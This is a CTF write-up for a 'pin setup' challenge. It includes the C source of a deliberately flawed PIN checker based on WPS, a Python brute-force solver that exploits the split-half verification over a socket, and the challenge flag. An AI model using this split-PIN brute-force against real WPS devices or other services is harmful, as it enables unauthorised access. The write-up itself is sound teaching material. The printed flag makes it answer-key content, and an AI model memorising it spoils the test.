Download as pdf or txt
Download as pdf or txt
You are on page 1of 5

pin setup

2023-10-25
300 pts
Description
I feel like this PIN verification algorithm is broken. I don't get it. Can you help me get the working PIN?
NOTE: The correct PIN for this challenge is the flag.
Files
dist/pin
Solution
The player is provided a binary file containing a PIN verification algorithm.
The PIN verification algorithm provided by the binary is derived from the Wifi Protected Setup PIN
verification algorithm.
The source code for the algorithm is provided below:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int PIN = 0000000;

unsigned int checksum(unsigned int pin) {


unsigned int accum = 0;
while (pin) {
accum += 3 * (pin % 10);
pin /= 10;
accum += pin % 10;
pin /= 10;
}
return (10 - accum % 10) % 10;
}
Copyright © 2023 CTFd LLC
int verify1(unsigned int pin) {
// Take first 4 digits

int PIN1 = PIN / 1000;


int user_pin1 = pin / 1000;
return PIN1 == user_pin1;
}

int verify2(unsigned int pin) {


// Take last 3 digits

int PIN2 = PIN % 1000;


int user_pin2 = pin % 1000;
return PIN2 == user_pin2;
}

int main(int argc, char * argv[]) {


int user_pin;
int user_check;
int calc_check;
int user_pin1;
int user_pin2;

while (1) {
// Sleep for 100 ms
usleep(100000);

// Get PIN from stdin


fscanf(stdin, "%i", &user_pin);

// Reject PINs that are larger than 8 digits


if (user_pin > 99999999 || user_pin <= 999999)
{
printf("2");
fflush(stdout);
continue;
}

user_check = user_pin % 10;


user_pin = user_pin / 10;
calc_check = checksum(user_pin);

if (user_check != calc_check)
{
printf("2");
fflush(stdout);
continue;
}

int check1 = verify1(user_pin);


if (check1)
Copyright © 2023 CTFd LLC
{
printf("1");
fflush(stdout);
}
else
{
printf("0");
fflush(stdout);
}

int check2 = verify2(user_pin);


if (check2)
{
printf("1");
fflush(stdout);
}
else
{
printf("0");
fflush(stdout);
}

if (check1 && check2) {


exit(0);
}
}
return 0;
}

The PIN verification algorithm essentailly has three flaws


The PIN is essentially 7 digits plus a checksum
The PIN is verified as two parts (the first 4 digits and the second 3 digits)
The ratelimiting between attempts is too little to be useful
Because of this we can break down the PIN bruteforce into approximately 11,000 attempts versus
100,000,000 attempts.
The player's goal here is to identify this flaw and then implement a script that will bruteforce through all
11,000 possible PINs to find the right one.
The following solver implements the bruteforcing algorithm and should complete in approximately 10
minutes:

Copyright © 2023 CTFd LLC


import socket
import itertools
import string
import time

# Function to calculate the WPS checksum of a 7 digit number


# https://gist.github.com/stealthcopter/a9af1cdc2617c23a1f61
def checksum(pin):
accum = 0
while pin > 0:
accum += 3 * (pin % 10)
pin //= 10
accum += pin % 10
pin //= 10
return (10 - accum % 10) % 10

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:


s.connect(("0.cloud.chals.io", 12539))

# Bruteforce the first 4 digits


PIN1 = None
for guess in itertools.product(string.digits, repeat=4):
num = int("".join(guess))
if num <= 999:
continue

num = int(str(num) + "000")


c = checksum(num)
num = str(num) + str(c) + "\n"
print(num, end="")
time.sleep(0.1)
s.sendall(num.encode())
time.sleep(0.1)
data = s.recv(1024).decode()
if "1" in data:
PIN1 = "".join(guess)
print(num, end="")
print(data)
break

PIN2 = None
for guess in itertools.product(string.digits, repeat=3):
num = int("".join(guess))
if num <= 99:
continue

num = int(PIN1 + str(num))


c = checksum(num)
Copyright © 2023 CTFd LLC
num = str(num) + str(c) + "\n"
print(num, end="")
time.sleep(0.1)
s.sendall(num.encode())
time.sleep(0.1)
data = s.recv(1024).decode()
if "11" in data:
PIN2 = "".join(guess)
print(num)

PIN = int(PIN1 + PIN2)


C = checksum(PIN)
print(f"PIN IS {PIN}{C}")
break

Flags
58327296

flag{58327296}

Copyright © 2023 CTFd LLC

You might also like